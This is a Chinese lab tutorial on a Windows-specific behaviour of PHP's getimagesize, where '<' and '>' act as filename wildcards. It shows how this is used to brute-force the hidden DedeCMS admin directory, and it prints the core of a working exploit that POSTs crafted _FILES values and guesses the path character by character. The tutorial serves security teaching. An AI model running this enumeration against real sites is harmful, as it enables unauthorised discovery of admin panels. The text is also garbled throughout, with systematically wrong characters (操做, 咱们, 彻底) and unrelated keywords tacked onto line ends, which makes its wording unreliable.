PHP是以C语言为底层语言的通用开源脚本语言,支持几乎全部流行的数据库以及操做系统,执行效率比彻底生成HTML标记的CGI要高许多,主要适用于Web开发领域。最重要的是PHP能够用C、C++进行程序的扩展!php
全部文件操做函数都属于敏感函数,当此类函数使用不当或者不安全引用,就会致使业务逻辑上出现问题,会致使诸多安全隐患的发生,例如:任意文件下载、任意文件写入、任意文件删除等漏洞。html
如下给你们生动地讲解了文件判断函数getimagesiz可能形成的问题,并引用dedecms目录猜解实例,讲述PHP在不安全的状况下引用此类函数时形成的危害。sql
但愿老铁们经过这一波操做,了解漏洞造成原理和相似文件判断函数带来的风险,在实验环境里亲自体验一把更带感哦,跟我来开启吧!>>>>>文件函数实验传送门数据库
Hackbar
: Hackbar是Firefox火狐浏览器中的插件,该工具栏将帮助您测试sql注入,XSS漏洞和网站安全性。其主是帮助开发人员对他的代码进行安全审计。可以快速对字符串进行各类编码。本内容主要介绍PHP
部分函数,当在Windows上使用PHP时会调用一个FindFirstFileExW()
的底层Windows API
函数时会存在一些特性api
讲解其中一部分函数不安全使用时带来的漏洞,还将结合使用一个dedecms
实例,利用PHP
在Windows
上的特性找到其后台,以方便咱们深刻理解这些函数可能会带来的危害。浏览器
PHP语言某些函数就在Windows系统上拥有了以下奇妙的特性:安全
大于号(>)相等于通配符问号(?) 小于号(<)至关于通配符星号(*) 双引号(")至关于点字符(.)
这个特性很早以前就已经被国外的安全研人员发现curl
在PHP的getimagesize
方法中就存在这个特性。函数
在PHP源码php-src\ext\standard\image.c
中有该方法的具体定义:工具
... /* {{{ proto array getimagesize(string imagefile [, array info]) Get the size of an image as 4-element array */ PHP_FUNCTION(getimagesize) { php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH); } ...
在getimagesize
方法中调用了php_getimagesize_from_any
方法,若使用动态调试来简化整个分析过程,逐层追踪后可发现
getimagesize
调用顺序以下:
PHP_FUNCTION(getimagesize) php_getimagesize_from_any ... tsrm_realpath_r FindFirstFileExW
本实验动态调试不作重点说明,详细过程请参考如下连接: https://xianzhi.aliyun.com/forum/topic/2004
最终能够看见PHP的getimagesize
方法最终调用了Windows API里的FindFirstFileExW()
事实上,因为PHP在语言层面并无过滤、禁止对<
、>
这些特殊字符的使用,除getimagesize
函数外,任何调用该Windows API方法的文件判断函数均可能存在以上问题
本实验咱们将用一个调用了这个winapi
的具体实例getimagesize
函数讲解,PHP的函数在调用了这个底层winapi
的方法时会存在的问题。
还将引用dedecms
做为一个高级实例,当不安全引用一样使用该底层winapi
的方法的getimagesize
这个函数会存在的安全风险。
使用咱们实验中搜索工具Everything
,找到咱们的phpstudy
安装环境。安装PHP环境
安装完成以后咱们在C:\phpStudy\www
目录下新建一个test.php
文件验证getimagesize
函数的特性,这个路径根据phpStudy
安装路径有关,请根据实际状况而定。
接下来咱们在C:\phpStudy\www
新建一个目录asdasdasd
使用咱们实验中提供的文件搜索工具Everything
,输入png
搜索任意一张图片,这里咱们选择1.png
,放置在咱们新建的asdasdasd
目录下
test.php
代码以下:
<?php $a = $_GET['img']; exec('pause'); if(@getimagesize($a)){ echo "ok"; }else{ echo "no"; } ?>
准备完成以后,接下来咱们访问一下test.php
访问地址http://127.0.0.1/test.php?img=C:\phpStudy\www\a<\1.png
页面返回ok
,可见正常路径中本来应该是asdasdasd
的目录名,被咱们使用a<
代替,getimagesize
利用该特性成功加载图片文件。
下面这个例子咱们可使用本节实验中提供的脚本获取到dedecms
的后台地址
这个漏洞发生在getimagesize
函数中,而PHP的getimagesize
方法最终也是调用了前文中讲到的Windows API
里的FindFirstFileExW()
,上文中也说明了这里Windows上又对<
、>
、"
三个字被赋予了不一样的含义。
正是这个缘由致使了dedecms
的后台可被爆破
到这里咱们仍是先看看漏洞的触发条件
在dedecms
中的uploadsafe.inc.php
中的核心代码以下
... if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } } ...
此处uploadsafe.inc.php
中直接调用了getimagesize
方法获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
此时在dedecms
的tags.php
中加载了common.inc.php
文件
在common.inc.php
大概148行左右加载了uploadsafe.inc.php
if($_FILES) { require_once(DEDEINC.'/uploadsafe.inc.php'); }
到此咱们能够获得文件引用关系为:tags.php
-> common.inc.php
-> uploadsafe.inc.php
-> getimagesize()
EXP分析与利用
在实验环境中会提供咱们在互联网上收集的exp
访问咱们的工具库http://tools.ichunqiu.com/y688t6z4
下载
咱们如今把exp中的主要代码分段讲解一下:
... if($path) { while(($path = my_func($url, $path))) { echo strtolower($path) . "\r\n"; } } else { for($i = 48; $i <= 90; $i++) { if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) { $path = my_func($url, chr($i)); while($path) { echo strtolower($path) . "\r\n"; $path = my_func($url, $path); } } } } ...
这里的if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90))
这段代码能够参考ascii码表就能够理解数字具体含义
就是把全部的目录可能会出现的状况0-9
、 a-z
,按位带入程序中去穷举匹配
下面的代码是整个exp的核心部分
... function my_func($url, $path = '') { $ch = curl_init($url); $i = 48; global $version; while($i <= 90) { if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) { if($version != '5.7') { /* v5.6版本及其如下 */ $admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif'; } else { /* v5.7版本 */ $admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif'; } $data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif'; $options = array( CURLOPT_USERAGENT => 'Firefox/58.0', CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $data, ); curl_setopt_array($ch, $options); $response = curl_exec($ch); if(!preg_match('/(Upload filetype not allow !)/i', $response)) { $path = $path . chr($i); return $path; } } $i++; } ...
这个exp
就是利用了dedecms
在设计时的一个小缺陷,当某个目录中存在一个图片文件时,程序会返回正确,当不存在时程序会抛出异常,提示Upload filetype not allow !
。
此时在dedecms
的前台中能够直接调用getimagesize()
方法,这时候咱们选取了dedecms
的后台目录中的一个已知图片admin_top_logo.gif
配合咱们进行猜解。具体参见下列代码:
$admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';
这样就能够咱们前面讲到的通配符<
,来进行匹配后台地址,对后台地址逐位穷举,这就是咱们这个exp
的中心思想。
具体操做以下:
将咱们下载的exp.php
,放入PHP安装目录中,这里咱们放入c:\phpStudy\php53
下,这个路径根据phpStudy
安装路径和选择的PHP版本有关,请根据实际状况而定。
成功猜解出后台地址。
Windows API
里的FindFirstFileExW()
/FindFirstFile()
方法Windows API
方法对于这个三个字符作了特殊的处理Windows API
时会存在新的特性吗?Windows API
的语言会出现这个特性吗?